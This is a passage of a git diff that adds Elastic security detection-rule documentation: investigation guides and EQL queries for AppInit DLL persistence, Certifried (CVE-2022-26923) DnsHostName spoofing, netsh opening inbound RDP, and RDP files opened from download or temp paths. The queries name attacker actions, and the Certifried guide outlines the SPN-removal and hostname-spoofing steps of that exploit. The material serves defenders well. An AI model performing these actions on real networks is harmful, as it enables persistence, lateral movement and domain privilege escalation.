load custom code into user-mode processes, allowing for the customization of the user interface and the behavior of Windows-based applications. + +Attackers who add those DLLs to the registry locations can execute code with elevated privileges, similar to process injection, and provide a solid and constant persistence on the machine. + +This rule identifies modifications on the AppInit registry keys. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Review the source process and related DLL file tied to the Windows Registry entry. + - Check whether the DLL is signed, and tied to a authorized program used on your environment. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Retrieve all DLLs under the AppInit registry keys: + - !{osquery{"label":"Osquery - Retrieve AppInit Registry Value","query":"SELECT * FROM registry r where (r.key == 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows'\nor r.key == 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows') and r.name ==\n'AppInit_DLLs'\n"}} +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable and the DLLs using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "AppInit_Dlls" and + not process.executable : ( + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*\\Display.NvContainer\\NVDisplay.Container.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Program Files\\Commvault\\Base\\cvd.exe", + "?:\\Program Files\\Commvault\\ContentStore*\\Base\\cvd.exe", + "?:\\Program Files (x86)\\Commvault\\Base\\cvd.exe", + "?:\\Program Files (x86)\\Commvault\\ContentStore*\\Base\\cvd.exe", + "?:\\Program Files\\NVIDIA Corporation\\Display.NvContainer\\NVDisplay.Container.exe", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\DriverStore\\FileRepository\\*\\Display.NvContainer\\NVDisplay.Container.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Commvault\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Commvault\\ContentStore*\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Commvault\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Commvault\\ContentStore*\\Base\\cvd.exe", + "\\Device\\HarddiskVolume*\\Program Files\\NVIDIA Corporation\\Display.NvContainer\\NVDisplay.Container.exe" + ) + /* + Full registry key path omitted due to data source variations: + "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls" + "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_Dlls" + */ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: AppInit DLLs +** ID: T1546.010 +** Reference URL: https://attack.mitre.org/techniques/T1546/010/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-computer-account-dnshostname-update.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-computer-account-dnshostname-update.asciidoc new file mode 100644 index 0000000000..e2739aad03 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-computer-account-dnshostname-update.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-remote-computer-account-dnshostname-update]] +=== Remote Computer Account DnsHostName Update + +Identifies the remote update to a computer account's DnsHostName attribute. If the new value set is a valid domain controller DNS hostname and the subject computer name is not a domain controller, then it's highly likely a preparation step to exploit CVE-2022-26923 in an attempt to elevate privileges from a standard domain user to domain admin privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4 +* https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-26923 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Use Case: Vulnerability +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2022-26923 + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Computer Account DnsHostName Update* + + + +*Possible investigation steps* + + +- What object, initiator, and DNS-name mismatch does the alert prove? + - Focus: `winlog.event_data.TargetUserName`, `winlog.event_data.TargetSid`, `winlog.event_data.DnsHostName`, `winlog.event_data.SubjectUserSid`, and `winlog.event_data.SubjectLogonId`. + - Implication: escalate or continue when the new DNS host name no longer matches the target computer account and points to another server namespace; lower suspicion only when target SID, subject SID, and logon session fit a recognized rename, promotion, re-binding, or authorized test. + +- Does the new DNS host name collide with a domain controller or other sensitive host? + - Why: Certifried abuse makes a controlled computer account look like a trusted host before requesting or using a machine certificate. + - Focus: `winlog.event_data.DnsHostName`, `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, and `winlog.computer_name`. + - Implication: high risk when the value matches a real domain controller, CA, or privileged server different from `winlog.event_data.TargetUserName`; lower risk only when it belongs to the same object transition and does not collide with a privileged asset. + +- Who made the update, and does the source/session context fit that account's role? + - Focus: `winlog.event_data.SubjectUserSid`, `winlog.event_data.SubjectUserName`, `winlog.event_data.SubjectDomainName`, `winlog.event_data.SubjectLogonId`, and `source.ip`. + - Implication: escalate when the subject is a standard user, non-tier-0 admin, unusual service account, machine account, or unexpected source for computer-account management; lower suspicion when subject, source when present, and logon session match a recognized AD management path. + +- Did the same object show SPN deletion, empty-SPN creation, or other preparation? + - Why: successful DNS-name spoofing often requires removing FQDN service principal names or creating a computer account without them so SPN uniqueness checks do not block the DNS update. + - Focus: Windows Security account-management and directory-change events for `winlog.event_data.TargetSid`, especially `event.code`, `winlog.event_data.AttributeLDAPDisplayName`, `winlog.event_data.AttributeValue`, and `winlog.event_data.ObjectDN`. + - Implication: escalate when the sequence removes servicePrincipalName values, creates or controls the computer object, or changes related attributes just before the DNS update; lower suspicion when the same change set follows a recognized promotion or re-binding path. + +- Did certificate-service or Kerberos activity use the spoofed identity after the update? + - Focus: post-alert Windows Security certificate enrollment and authentication events for `winlog.event_data.TargetUserName` or the spoofed host name, reading `event.code`, `winlog.event_data.AuthenticationPackageName`, `winlog.logon.type`, and `source.ip`. + - Hint: missing certificate-service or Kerberos telemetry leaves post-update use unresolved, not benign. + - Implication: escalate when the modified object requests or receives a machine certificate, uses Kerberos with the spoofed identity, authenticates from unexpected `source.ip` when present, or appears in privileged follow-on activity; absence of follow-on use lowers urgency only when object, initiator, and preparation evidence also align benignly. + +- If local evidence stays suspicious or unresolved, do related alerts show the same modifying user elsewhere? + - Focus: related alerts for modifying `user.id`, especially AD manipulation, certificate abuse, credential-access, or privilege-escalation alerts. !{investigate{"description":"","label":"Alerts associated with the modifying user in the surrounding window","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-2h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user appears in more directory changes, certificate abuse, unusual authentication, or privilege escalation; keep response local only when related alerts are absent and local evidence supports one recognized workflow. + +- What disposition do the DNS-name mismatch, hostname collision, initiator, preparation, follow-on use, and scope support? + - Escalate on sensitive-host collision, suspicious initiator, SPN/object preparation, certificate/Kerberos use, or related AD abuse; close only when all evidence binds one recognized test or object-transition workflow with no contradictions; preserve evidence and escalate when answers conflict or visibility is incomplete. + + +*False positive analysis* + + +- Benign matches are uncommon because changing a computer account DNS host name to another host namespace is an AD identity anti-pattern. Authorized CVE-2022-26923 testing or patch validation explains the alert only when subject SID/logon, target SID/name, spoofed host name, event-origin controller, SPN/object-change sequence, and follow-on certificate or authentication events all match the same test scope. Without a test plan, close only when telemetry proves a bounded lab pattern; drift in initiator, hostname, or follow-on use keeps the alert suspicious. +- Rare promotion, rename, migration, or re-binding explains the alert only when the same computer object intentionally assumes the new DNS identity, no privileged-host collision exists, and subject, target SID, new host name, controller, and bounded follow-on authentication path all align. Do not close if telemetry leaves object identity, collision, or follow-on use unresolved. +- Build exceptions from the minimum confirmed workflow: stable `winlog.event_data.SubjectUserSid`, `winlog.event_data.TargetSid`, `winlog.event_data.TargetUserName`, `winlog.event_data.DnsHostName`, `winlog.computer_name`, and bounded follow-on `source.ip` or `event.code`. Avoid exceptions on `event.action`, `winlog.event_data.DnsHostName`, or `winlog.event_data.TargetSid` alone. + + +*Response and remediation* + + +- If confirmed benign, document the exact workflow evidence first: subject SID/logon, target SID/name, DNS host name, event-origin controller, SPN/object-change context, and bounded follow-on authentication or certificate pattern. Then reverse temporary containment. Create an exception only after the same pattern is stable enough to avoid suppressing lookalike spoofing. +- If suspicious but unconfirmed, export the alert and surrounding Windows Security records first, preserving the target object, spoofed host name, subject identity/logon, event-origin controller, SPN/object changes, certificate/authentication events, source IPs, and related alerts. Then use reversible containment, such as restoring the prior DNS host name or temporarily disabling the modified computer account with AD owner coordination. Escalate to account or host containment only when certificate issuance, Kerberos use, or related privilege abuse shows active use. +- If confirmed malicious, preserve the same AD object-change and follow-on authentication/certificate evidence before restoration. Disable or restore the modified computer object, reset the machine-account secret or trust path, revoke or map affected certificates when issued, and contain the modifying account and suspected source host. Use broader domain recovery only when certificate or Kerberos abuse extends beyond the single object. +- Before final object restoration, search the same subject SID and target SID across Windows Security logs for additional DNS host name, SPN, certificate, or privilege-abuse events so scope is complete before evidence changes. +- Post-incident hardening: apply CVE-2022-26923 domain controller and AD CS fixes, reduce ms-DS-MachineAccountQuota where feasible, restrict computer-account creation and validated writes, retain computer-account and 5136 directory-service auditing, and record the confirmed subject/target/hostname/follow-on-authentication pattern for future triage. + + +==== Setup + + + +*Setup* + + +Audit Computer Account Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-computer-account-management + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "changed-computer-account" and + user.id : ("S-1-5-21-*", "S-1-12-1-*") and + + /* if DnsHostName value equal a DC DNS hostname then it's highly suspicious */ + winlog.event_data.DnsHostName : "??*" and + + /* exclude FPs where DnsHostName starts with the ComputerName that was changed */ + not startswith~(winlog.event_data.DnsHostName, substring(winlog.event_data.TargetUserName, 0, length(winlog.event_data.TargetUserName) - 1)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc new file mode 100644 index 0000000000..f38669bfd1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-enabled-in-windows-firewall-by-netsh.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-remote-desktop-enabled-in-windows-firewall-by-netsh]] +=== Remote Desktop Enabled in Windows Firewall by Netsh + +Identifies use of the network shell utility (netsh.exe) to enable inbound Remote Desktop Protocol (RDP) connections in the Windows Firewall. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Desktop Enabled in Windows Firewall by Netsh* + + +Microsoft Remote Desktop Protocol (RDP) is a proprietary Microsoft protocol that enables remote connections to other computers, typically over TCP port 3389. + +Attackers can use RDP to conduct their actions interactively. Ransomware operators frequently use RDP to access victim servers, often using privileged accounts. + +This rule detects the creation of a Windows Firewall inbound rule that would allow inbound RDP traffic using the `netsh.exe` utility. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the user to check if they are aware of the operation. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Check whether it makes sense to enable RDP to this host, given its role in the environment. +- Check if the host is directly exposed to the internet. +- Check whether privileged accounts accessed the host shortly after the modification. +- Review network events within a short timespan of this alert for incoming RDP connection attempts. + + +*False positive analysis* + + +- The `netsh.exe` utility can be used legitimately. Check whether the user should be performing this kind of activity, whether the user is aware of it, whether RDP should be open, and whether the action exposes the environment to unnecessary risks. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- If RDP is needed, make sure to secure it: + - Allowlist RDP traffic to specific trusted hosts. + - Restrict RDP logins to authorized non-administrator accounts, where possible. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "netsh.exe" or ?process.pe.original_file_name == "netsh.exe") and + process.args : ("localport=3389", "RemoteDesktop", "group=\"remote desktop\"") and + process.args : ("action=allow", "enable=Yes", "enable") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-file-opened-from-suspicious-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-file-opened-from-suspicious-path.asciidoc new file mode 100644 index 0000000000..b5bf3f4a53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-desktop-file-opened-from-suspicious-path.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-remote-desktop-file-opened-from-suspicious-path]] +=== Remote Desktop File Opened from Suspicious Path + +Identifies attempts to open a remote desktop file from suspicious paths. Adversaries may abuse RDP files for initial access. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/10/29/midnight-blizzard-conducts-large-scale-spear-phishing-campaign-using-rdp-files/ +* https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/ +* https://shorsec.io/blog/malrdp-implementing-rouge-rdp-manually/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Desktop File Opened from Suspicious Path* + + +Remote Desktop Protocol (RDP) allows users to connect to and control a computer remotely, facilitating remote work and administration. However, adversaries can exploit RDP files, which store connection settings, to gain unauthorized access. They may distribute malicious RDP files via phishing, placing them in suspicious directories. The detection rule identifies when RDP files are opened from unusual paths, signaling potential misuse and enabling analysts to investigate further. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of "mstsc.exe" and verify the suspicious path from which the RDP file was opened, as specified in the query. +- Check the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears anomalous. +- Investigate the source of the RDP file by examining recent email activity or downloads to identify potential phishing attempts or unauthorized file transfers. +- Analyze the system's event logs for any other unusual activities or processes that occurred around the same time as the RDP file execution. +- Assess the network connections established by the system during the time of the alert to identify any suspicious or unauthorized remote connections. +- Consult threat intelligence sources to determine if the identified path or file name pattern is associated with known malicious campaigns or threat actors. + + +*False positive analysis* + + +- Users frequently download legitimate RDP files from trusted sources like corporate emails or internal portals. To manage this, create exceptions for known safe domains or email addresses in your security tools. +- Temporary directories often store RDP files during legitimate software installations or updates. Monitor these activities and whitelist specific processes or software that are known to use RDP files during their operations. +- Employees working remotely may use RDP files stored in their Downloads folder for legitimate access to company resources. Implement a policy to educate users on safe RDP file handling and consider excluding the Downloads folder from alerts if it is a common practice. +- Some business applications may generate RDP files in temporary directories as part of their normal operation. Identify these applications and configure your detection systems to exclude their specific file paths or process names. +- Automated scripts or IT management tools might use RDP files for routine administrative tasks. Document these scripts and tools, and adjust your detection rules to ignore their specific activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any active RDP sessions initiated from the suspicious paths identified in the alert to cut off potential attacker access. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious files or software. +- Review and remove any unauthorized RDP files from the suspicious directories listed in the detection query to prevent future misuse. +- Reset credentials for any accounts that were used to open the suspicious RDP files, ensuring that new passwords are strong and unique. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for RDP activities across the network to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "mstsc.exe" and + process.args : ("?:\\Users\\*\\Downloads\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*\\*.rdp", + "?:\\Users\\*\\AppData\\Local\\Temp\\BNZ.*.rdp", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\*.rdp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-execution-via-file-shares.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-execution-via-file-shares.asciidoc new file mode 100644 index 0000000000..e29ad7de94 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-execution-via-file-shares.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-remote-execution-via-file-shares]] +=== Remote Execution via File Shares + +Identifies the execution of a file that was created by the virtual system process. This may indicate lateral movement via network file shares. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329172636/https://blog.menasec.net/2020/08/new-trick-to-detect-lateral-movement.html +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 124 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Execution via File Shares* + + +Adversaries can use network shares to host tooling to support the compromise of other hosts in the environment. These tools can include discovery utilities, credential dumpers, malware, etc. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Review adjacent login events (e.g., 4624) in the alert timeframe to identify the account used to perform this action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account 